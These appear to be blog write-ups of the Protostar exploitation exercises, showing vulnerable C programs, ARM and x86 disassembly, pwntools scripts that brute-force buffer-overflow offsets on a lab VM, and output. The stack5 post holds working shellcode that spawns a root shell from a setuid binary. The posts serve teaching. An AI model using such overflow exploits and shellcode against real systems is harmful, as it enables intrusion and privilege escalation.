 600:   f64b 63ef       movw    r3, #48879              ; 0xbeef
 604:   f6cd 63ad       movt    r3, #57005              ; 0xdead
 608:   429a            cmp     r2, r3                  ; vulnerable == 0xdeadbeef?
 60a:   d005            beq.n   618 <main+0x5c>

bad_boy:
 60c:   4b09            ldr     r3, [pc, #36]           ; (634 <main+0x78>)
 60e:   447b            add     r3, pc
 610:   4619            mov     r1, r3                  ; r1 = "nope\n"
 612:   2001            movs    r0, #1                  ; r0 = 1
 614:   f7ff ef3e       blx     494 <errx@plt>          ; errx(1, "nope\n");

good_boy:
 618:   4b07            ldr     r3, [pc, #28]           ; (638 <main+0x7c>)
 61a:   447b            add     r3, pc
 61c:   4618            mov     r0, r3                  ; r0 = "congrats!\n");
 61e:   f7ff ef22       blx     464 <puts@plt>          ; puts("congrats\n");
 622:   2300            movs    r3, #0
 624:   4618            mov     r0, r3                  ; return EXIT_SUCCESS;

epilog:
 626:   3748            adds    r7, #72 ; 0x48
 628:   46bd            mov     sp, r7
 62a:   bd80            pop     {r7, pc}

string_pool:
 62c:   000000b4
 630:   000000a6
 634:   0000008a
 638:   00000086

Here is an exploit using pwntools:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 64
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0xdeadbeef)
    process = socket.process(
        executable='/root/protostarm/stack2/stack2',
        env={"POC": payload}
    )
    res = process.recv().decode()
    print('res =', res)
    process.close()
    if 'congrats' in res:
        break

socket.close()

Our vulnerable variable is stored at sp+68. strcpy will copy our var including the terninating null byte ('\0'). We such need to fill the stack with 69 bytes before overwriting the vulnerable variable:

user@Azeria-Lab-VM:~/protoarm/stack2$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 65
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 740
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 740)
test 66
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 744
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 744)
test 67
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 748
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 748)
test 68
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 752
res = congrats!

[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 752)
[*] Closed connection to '192.168.0.1'

A more secure version of this program could use strncpy in place of strcpy. Here is a pseudo implem of it:

char *strncpy(char *dest, const char *src, size_t n)
{
    size_t i = 0;

    // fill dest buffe with at most n bytes preventing bof if n is well chosen
    for (i = 0; i < n && src[i] != '\0'; i++)
        dest[i] = src[i];

    // fill the rest of the buffer with null bytes
    for ( ; i < n; i++)
        dest[i] = '\0';

    return dest;
}

There are other alternatives such as strlcpy, strcpy_s, and many more.

I hope you enjoyed it!

ARM BOF, überwrite stack data

hextrace — Thu, 28 Jan 2021 19:38:31 +0000

In this second protoarm exercise, we'll exploit a buffer overflow to write arbitary data onto the stack. The goal is to rewrite the vulnerable integer to 0xcafebabe. Here is the vulnerable program:

#include <stdio.h>
#include <string.h>
#include <err.h>

int main(int argc, char**argv)
{
    volatile int vulnerable;
    char buffer[64];

    if (argc == 1)
        errx(1, "argument missing\n");

    vulnerable = 0;
    strcpy(buffer, argv[1]);

    if (vulnerable == 0xcafebabe)
        printf("congratulations\n");
    else
        printf("nope");
}

We can write the following exploit, based on the previous one:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x61626364)
    process = socket.process(
        argv=['/root/protostarm/stack1/stack1', payload ],
    )
    res = process.recv().decode()
    print('res =', res)
    process.close()
    if 'congratulations' in res:
        break

socket.close()

And there we go, the congratulations output:

user@Azeria-Lab-VM:~/protoarm/stack1$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 61
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1585
res = nope

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1585)
test 62
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1589
res = nope

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1589)
test 63
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1593
res = nope

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1593)
test 64
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1597
res = congratulations

[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1597)
[*] Closed connection to '192.168.0.1'

Again, we bruteforced the correct offset but it can be found by reading at the disassembly:

00000564 <main>:
epilog:
 564:   b580            push    {r7, lr}
 566:   b094            sub     sp, #80 ; 0x50      ; reserve 0x50 bytes for the stack
 568:   af00            add     r7, sp, #0      ; r7 = sp
 56a:   6078            str     r0, [r7, #4]        ; r0 = argv[0]
 56c:   6039            str     r1, [r7, #0]        ; r1 = argc
 56e:   687b            ldr     r3, [r7, #4]
 570:   2b01            cmp     r3, #1
 572:   d105            bne.n   580 <main+0x1c>

error:
 574:   4b13            ldr     r3, [pc, #76]       ; (5c4 <main+0x60>)
 576:   447b            add     r3, pc
 578:   4619            mov     r1, r3
 57a:   2001            movs    r0, #1          ; EXIT_FAILURE
 57c:   f7ff ef5e       blx     43c <errx@plt>

read_and_compare_input:
 580:   2300            movs    r3, #0
 582:   64fb            str     r3, [r7, #76]
 584:   683b            ldr     r3, [r7, #0]
 586:   3304            adds    r3, #4
 588:   681a            ldr     r2, [r3, #0]        ; r2 = argv[1]
 58a:   f107 030c       add.w   r3, r7, #12     ; r3 = buffer of 76-12=64 bytes
 58e:   4611            mov     r1, r2
 590:   4618            mov     r0, r3
 592:   f7ff ef3c       blx     40c <strcpy@plt>    ; strcpy(buffer, argv[1]);
 596:   6cfa            ldr     r2, [r7, #76]       ; r2 = vulnerable
 598:   f246 3364       movw    r3, #47806          ; set lower bits of r3 to 0xbabe
 59c:   f2c6 1362       movt    r3, #51966          ; se higher bits fo r3 to 0xcafe
 5a0:   429a            cmp     r2, r3          ; vulnerable == 0xcafebabe?
 5a2:   d105            bne.n   5b0 <main+0x4c>

good_boy:
 5a4:   4b08            ldr     r3, [pc, #32]       ; (5c8 <main+0x64>)
 5a6:   447b            add     r3, pc
 5a8:   4618            mov     r0, r3
 5aa:   f7ff ef36       blx     418 <puts@plt>      ; puts("congratulations\n");

jump_to_epilog:
 5ae:   e004            b.n     5ba <main+0x56>

bad_boy:
 5b0:   4b06            ldr     r3, [pc, #24]       ; (5cc <main+0x68>)
 5b2:   447b            add     r3, pc
 5b4:   4618            mov     r0, r3
 5b6:   f7ff ef30       blx     418 <puts@plt>      ; puts ("nope\n");

epilog:
 5ba:   2300            movs    r3, #0
 5bc:   4618            mov     r0, r3          ; return 0;
 5be:   3750            adds    r7, #80 ; 0x50
 5c0:   46bd            mov     sp, r7
 5c2:   bd80            pop     {r7, pc}


literal pool:
 5c4:   000000a6
 5c8:   0000008a
 5cc:   0000008e

A simple ARM buffer overflow

hextrace — Wed, 27 Jan 2021 21:19:57 +0000

Let's get started with binary exploitation on ARM systems. This challenge is based on the 'protostar' series.

This is our vulnerable program:

#include <stdio.h>

int main() {

    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if (modified != 0)
        printf("modified: %d\n", modified);
    else
        printf("nope");
}

The goal is to abuse the unsafe gets function to modify the modified variable.
Both buffer and modified are on the stack. A buffer overflow will overwrite the modified variable.
We can use pwntools to find the correct offset:

#!/usr/bin/env python3

from pwn import *

# ssh into the ARM box
socket = ssh(host='192.168.0.1', user='root', password='')

i = 0
while True:
    i += 1
    print('test', i)
    payload = 'A' * i
    process = socket.process('/root/protostarm/stack0/stack0')
    process.sendline(payload)
    res = process.recv().decode()
    process.close()
    if 'nope' not in res:
        print('i =', i)
        print(res)
        break

socket.close()

After a while we have:

[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 0

[...]

test 64
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1623
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1623)
test 65
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1627
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1627)
i = 65
modified : 65

[*] Closed connection to '192.168.0.1'

We successfully changed the modified variable by entering 65 A's into the buffer.

Now let's have a look at the disassembly so we can understand why it's 65:

00000538 <main>:
 538:   b580        push    {r7, lr}                ; save r7 and lr
                                                        ; r7: saved frame pointer in thumb mode
                                                        ; lr: saved instruction pointer (Link Register)
 53a:   b092        sub sp, #72 ; 0x48          ; reserve stack space
 53c:   af00        add r7, sp, #0          ; r7 = sp + 0
 53e:   2300        movs    r3, #0                  ; r3 = 0
 540:   647b        str r3, [r7, #68]   ; 0x44  ; modified = r3
 542:   1d3b        adds    r3, r7, #4              ; r3 points to buffer
 544:   4618        mov r0, r3                  ; r0 = r3
 546:   f7ff ef58   blx 3f8 <gets@plt>          ; gets(&buffer);
 54a:   6c7b        ldr r3, [r7, #68]   ; 0x44  ; r3 = modified
 54c:   2b00        cmp r3, #0                  ; modified == 0 ?
 54e:   d007        beq.n   560 <main+0x28>

 550:   6c7b        ldr r3, [r7, #68]           ; 0x44
 552:   4619        mov r1, r3                  ; r1 = modified (2nd argument)
 554:   4b07        ldr r3, [pc, #28]           ; (574 <main+0x3c>)
 556:   447b        add r3, pc
 558:   4618        mov r0, r3                  ; r0 = "modified: %d\n" (1st argument)
 55a:   f7ff ef48   blx 3ec <printf@plt>        ; printf("modified: %d\n", modified);

 55e:   e004        b.n 56a <main+0x32>

 560:   4b05        ldr r3, [pc, #20]           ; (578 <main+0x40>)
 562:   447b        add r3, pc
 564:   4618        mov r0, r3                  ; r0 = r3 (load first arg)
 566:   f7ff ef42   blx 3ec <printf@plt>        ; printf("nope");

 56a:   2300        movs    r3, #0                  ; init r3
 56c:   4618        mov r0, r3                  ; r0 = r3
 56e:   3748        adds    r7, #72 ; 0x48          ; restore stack space
 570:   46bd        mov sp, r7                  ; restore caller stack
 572:   bd80        pop {r7, pc}                ; restore sp/pc
 574:   00000072    andeq   r0, r0, r2, ror r0
 578:   00000076    andeq   r0, r0, r6, ror r0

Stack is 72 bytes long and organized this way:

+++
|  modified 00 |
|  modified 00 |
|  modified 00 |
|  modified 00 | 
| buffer[63]   | i = 64
|              |
|   [...]      |
|              |
| buffer[0]    | i = 1
--------

gets appends a null terminator so it needs 65 A's to modify the variable. If we initially set modified to 1, it only needs 64 A's.

Jump into shellcode (protostar - stack5)

hextrace — Sun, 10 Jan 2021 14:49:41 +0000

Analysis

root@protostar:/opt/protostar/bin# file stack5
stack5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

root@protostar:/opt/protostar/bin# gdb -q stack5
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.

Let's test some dumb inputs:

root@protostar:/opt/protostar/bin# python -c "print 'A'*75" | ./stack5
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault

What about libraries used:

root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffffd74, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffffc80, 0xb7ec6165, 0xbffffc88, 0xb7eada75, 0xb7fd7ff4)         = 0xbffffc80
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Ok fine, gets is a dangerous function and shouln't be used. Let's figure out why.

Exploitation

Let's prepare a crash dump:

root@protostar:/opt/protostar/bin# ulimit -c unlimited
root@protostar:/opt/protostar/bin# printf 1 > /proc/sys/fs/suid_dumpable
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault (core dumped)
root@protostar:/opt/protostar/bin# file /tmp/core.11.stack5.1915
/tmp/core.11.stack5.1915: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './stack5'

Now we open the crash dump and inspect the stack:

root@protostar:/opt/protostar/bin# gdb -q -c /tmp/core.11.stack5.1915
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7eadc03 in ?? ()
(gdb) x/40x $esp-80
0xbffffc8c:     0xb7eada75      0x41414141      0x41414141      0x41414141
0xbffffc9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffccc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcdc:     0x41414141      0x00000001      0xbffffd84      0xbffffd8c
0xbffffcec:     0xb7fe1848      0xbffffd40      0xffffffff      0xb7ffeff4
0xbffffcfc:     0x08048232      0x00000001      0xbffffd40      0xb7ff0626
0xbffffd0c:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffd1c:     0x00000000      0xbffffd58      0x130bb1dd      0x394a07cd
(gdb)

We're going to write some code on the stack and use eip to jump into it.
We can help ourselves with a 'nop sled' (consecutive nop opcodes) to find the entrypoint more easily:

root@protostar:/opt/protostar/bin# python -c "print 'A'*76+'\xe8\xfc\xff\xbf'+'\x90'*20+'\x31\xc0\x31\xdb\xb0\x06\xcd\x
80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\
xe1\x99\xb0\x0b\xcd\x80'" > payload
root@protostar:/opt/protostar/bin# cat payload | ./stack5
# id
uid=0(root) gid=0(root) groups=0(root)

This payload fills the buffer with 76 A's, then overwrites the instruction
pointer with 0xbffffce8 which is somewhere in our following nop sled of 0x90's
and then our shellcode spawning a shell.

Rewrite instruction pointer (protostar - stack4)

hextrace — Fri, 11 Dec 2020 23:55:45 +0000

This is the 5th exercise of the protostar series. This is about exploiting a buffer overflow to rewrite the instruction pointer.

Here is the source we're about to exploit.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Ok so now we only have a gets() that reads our input and a win function lying in virtual address space that doesn't get called. Can we find a way to call it? Sure!

fgets is vulnerable to overflow. Our destination buffer is 64 bytes long. If we overflow it, we're going to overwrite the stack. There is some useful values lying on stack, on top of our buffer: the previous stack pointer (actual base pointer but also the previous next instruction pointer). This next instruction pointer (IP) will be used to fetch the instruction following our function call. Here, main gets called by some library wrapper function but there is some code after main that we can change due to the overflow vulnerability.

We can use nm as previously shown to discover win address:

root@protostar:/opt/protostar/bin# nm stack4 | grep win
080483f4 T win

Now we have to find the instruction pointer backup lying on stack. To do so, we can craft the follwing payload, increasing the overflow length to properly jump on win:

buffer + overflow + win address

We end up with the following:

root@protostar:/opt/protostar/bin# python -c "print('A'*64 + 'B' * 12 + '\xf4\x83\x04\x08')" | ./stack4
code flow successfully changed
Segmentation fault

We successfully called win but this ended up with a segmentation fault because win stack frame couldn't have been set up properly.